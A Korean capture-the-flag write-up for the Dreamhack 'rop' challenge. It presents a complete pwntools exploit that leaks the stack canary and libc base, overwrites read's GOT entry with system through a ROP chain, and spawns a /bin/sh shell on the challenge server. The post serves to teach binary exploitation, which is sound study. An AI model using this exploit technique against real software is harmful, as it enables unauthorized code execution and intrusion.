일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 드림핵
- shellcode
- redirect
- dns
- cryptography
- Crypto
- dreamhack
- overthewire
- XSS
- picoCTF
- Montgomery Reduction
- pycrpytodome
- 암호학
- Cube Root Attack
- spoofing
- AES
- Franklin-Reiter Related Message Attack
- RSA
- Hastad
- return address overflow
- arp
- rao
- weak key
- 시스템해킹
- 웹해킹
- OverTheWire Bandit Level 1 → Level 2
- CSRF
- Bandit Level 1 → Level 2
- RSA Common Modulas Attack
- bandit
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] rop 본문
문제
문제 파일 : libc-2.27.so, rop.c, rop
rop.c
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
풀이
카나리 릭 과정은 아래 글과 동일
Return_to_Library
문제 문제 파일 : rtl.c // Name: rtl.c // Compile: gcc -o rtl rtl.c -fno-PIE -no-pie #include #include const char* binsh = "/bin/sh"; int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Add system function to p
heahgo.tistory.com
from pwn import *
p = remote('host3.dreamhack.games', 23164)
e = ELF('./rop')
libc = ELF('./libc-2.27.so')
# canary leak
buf = b'A'*0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
success(f'Canary Leak: {hex(canary)}')
ASLR 기법에 의하여 라이브러리는 랜덤한 메모 주소에 위치하게 된다.
따라서 라이브러리의 정확한 위치를 알기 위해서는 라이브러리의 베이스 값을 구하면 된다.
(함수 현재 주소 값) - (함수 절대 주소 값) = (라이브러리 베이스 값)
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b'A'*0x38 + p64(canary) + b'A' * 0x08
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)
위 코드는 리턴 가젯을 이용하여 puts(read_got) 를 실행시켜 read 함수의 실제 주소 값을 출력시키는 부분에 해당하는 코드이다.
p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']
출력된 read 함수의 주소 값을 pwntools 의 recvn함수를 통해 받아와서 라이브러리 베이스 값을 계산하고, (read 함수 실제 주소) - (read 함수 절대 주소) = (라이브러리 베이스) 얻은 베이스 값으로 실제 system 함수가 위치한 주소값을 구한다.
read = u64(p.recvn(6) + b'\x00' * 2)
64bit 운영체제인데도 불구하고, 주소 값이 8바이트가 아닌 이유는 , 특정 영역을 제외한 메모리의 가상주소는 6바이트만 사용하고 있기 때문이다.
system 함수의 위치를 알았으므로 read 함수의 got 값을 system 함수의 주소값으로 덮어서 read 함수의 plt 를 호출할 때, read 함수가 아닌 system 함수가 호출 되도록 만들 것이다.
# read(0, read_got, 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
read 함수를 이용해서 read 함수의 got 값을 바꿀 수 있게 만든 코드이다. 위 페이로드가 동작하면 read(0, read_got, 0x100) 를 호출하게 되어 입력값을 기다리는 상태가 되는데 이때 아래의 코드를 통해 system 함수의 주소 값과 쉘을 실행시키기 위해 필요한 /bin/sh 문자열을 입력한다. 그러면 read_got에는 system 함수 주소값이, read_got + 0x08은 "/bin/sh" 이 저장된다.
(pop r15 가 들어가있는 이유는 pop rsi 가 포함되어 있는 리턴 가젯이 pop rsi; pop r15; ret 뿐이여서 r15 가 들어간 것일뿐 실제로 사용하지는 않는다)
p.send(p64(system) + b"/bin/sh\x00")
위위 코드의 블록의 payload를 보면 rdi = 0, rsi = read_got 로 설정했으나 세번째 인자인 rdx 값을 정해주지 않은 것을 볼 수 있다.
그 이유는 디버깅을 해보면 rdx 값이 0x100 으로 되어 있어 값을 정해줄 필요가 없기 때문이다.
# system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x08)
payload += p64(read_plt)
이제 read 함수를 호출하면 system 함수가 호출이 된다, 따라서 위와 같이 가젯들을 사용하여 system("/bin/sh")을 호출하여 쉘을 얻는다.
read_got + 0x08 : "/bin/sh"
정리하면 익스플로잇 코드는 다음과 같다.
exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 23164)
e = ELF('./rop')
libc = ELF('./libc-2.27.so')
# canary leak
buf = b'A'*0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
success(f'Canary Leak: {hex(canary)}')
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b'A'*0x38 + p64(canary) + b'A' * 0x08
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)
# read(0, read_got, 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x08)
payload += p64(read_plt)
p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']
success(f'read GOT : {hex(read)}')
success(f'system adress: {hex(system)}')
p.send(p64(system) + b"/bin/sh\x00")
p.interactive()
exploit.py 를 실행하면 쉘을 획득하여 flag를 확인할 수 있다.
'Dreamhack > Pwnable' 카테고리의 다른 글
[Dreamhack] Return_to_Library (0) | 2023.05.04 |
---|---|
[Dreamhack] ssp_001 (0) | 2023.04.09 |
[Dreamhack] Return to Shellcode (0) | 2023.04.07 |
[Dreamhack] basic_exploitation_000 (0) | 2023.04.02 |
[Dreamhack] basic_exploitation_001 (0) | 2023.04.02 |